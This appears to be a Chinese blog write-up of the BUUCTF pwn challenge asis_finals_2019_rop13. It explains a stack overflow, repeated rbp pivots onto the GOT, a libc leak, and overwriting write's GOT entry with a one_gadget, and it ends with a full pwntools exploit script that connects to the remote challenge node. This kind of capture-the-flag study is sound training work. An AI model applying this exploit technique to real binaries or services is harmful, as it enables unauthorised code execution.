[BUUCTF-pwn] asis_finals_2019_rop13

 一道小题整了好久

pie没打开,got表也可以写

程序内容很少

.text:0000000000400481 sub_400481      proc near               ; CODE XREF: start+A↑p
.text:0000000000400481
.text:0000000000400481 buf             = byte ptr -40h
.text:0000000000400481
.text:0000000000400481                 push    rbp
.text:0000000000400482                 mov     rbp, rsp
.text:0000000000400485                 sub     rsp, 40h
.text:0000000000400489                 mov     edx, 100h       ; nbytes
.text:000000000040048E                 lea     rsi, [rbp+buf]  ; buf
.text:0000000000400492                 mov     edi, 0          ; fd
.text:0000000000400497                 call    _read
.text:000000000040049C                 lea     rdi, [rbp+buf]
.text:00000000004004A0                 mov     rdx, rax
.text:00000000004004A3                 call    sub_40044F
.text:00000000004004A8                 lea     rsi, [rbp+buf]  ; buf
.text:00000000004004AC                 mov     edi, 1          ; fd
.text:00000000004004B1                 call    _write
.text:00000000004004B6                 leave
.text:00000000004004B7                 retn
.text:00000000004004B7 sub_400481      endp

先读0x100到rbp-0x40,显然有溢出,然后用函数处理一下(就是字母前一半移到后一半,后一半移到前一半)然后把写的东西输出。

思路:

  1. 在got表的signal这个位置作为buf直接调用后边write这一段可以输入got表得到libc
  2. 但是输出后got.signal+40这个地得有个rbp+ret,所以要提前移到这个后边预写上
  3. 预写的这段要移栈到got.write+40,这样下回就可以修改got表将write写成one_gadget

这里第1次写0x6010a8(a0的位置有占用,只能到a8,实际到在b0-1的位置(利用前边的0绕过函数修改)写输出got表后的返回移栈和ret 

第2次栈已经移到0x6010a8,在0x601068的位置写 \0*7 + 0x601100(到一个空白区域)+ rbp:0x601070-1 + 0x40049c(只有写没有读,leave ret时用的前边写入的值)

第3次移栈到got.write+0x40-1准备下次修改got表

修改got表里的write为one[1]

完整exp:

from pwn import *

elf = ELF('./pwn')
context.arch = 'amd64'

local = 0
if local == 1:
    p = process('./pwn')
    libc_elf = ELF('/home/shi/pwn/libc6_2.27-3u1/lib64/libc-2.27.so')
    one = [0x4240e, 0x42462, 0xc4f7f, 0xe31fa, 0xe31ee]
    libc_start_main_ret = 0x21a87
else:
    p = remote('node4.buuoj.cn', 29711) 
    libc_elf = ELF('../libc6_2.27-3ubuntu1_amd64.so')
    one = [0x4f2c5,0x4f322,0xe569f,0xe5858,0xe585f,0xe5863,0x10a398,0x10a38c]
    libc_start_main_ret = 0x21b97

context.log_level = 'debug'

#0x601030 elf.got['signal']
#1,move stack 0x601068 +0x40 
rop = flat(b'\x00'*0x40,0x6010a8, 0x400489)
p.send(rop.ljust(0x100, b'\x00'))
p.recv(0x100)

#2, wrtie rop2.rbp,rop2.ret 0x601100,0x400489:read_write  rop1.rbp,ret signal-1:0x601030+40-1, 0x40049c:write
rop = b'\x00'*7 + p64(0x601100) + p64(0x400489) + b'\x00'*0x29
rop+= flat(0x601030 + 0x40 -1, 0x40049c)
p.send(rop.ljust(0x100, b'\x00'))
p.recv(0x100) #
libc_base = u64(p.recv(0x100)[1:9]) - libc_elf.sym['signal']
one_gadget = libc_base + one[1]
print("libc:", hex(libc_base))

#gdb.attach(p, 'b*0x4004b6')

#3, move stack got.write +0x40-1 
rop = flat(b'\x00'*0x40, 0x601057, 0x400489)
p.send(rop.ljust(0x100, b'\x00'))
p.recv(0x100)

#4, got.write->one_gadget
p.send(b'\x00'+ p64(one_gadget))

p.sendline(b'cat flag')
p.interactive()

这里有几个小坑:

一是检查函数会改内容,所以第1字符要设为0绕过检查

二是由于移栈都是改的rbp,没办法改rsp在写system(/bin/sh)时会出错,只能改got表,等运行到write的时候执行one_gadget

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值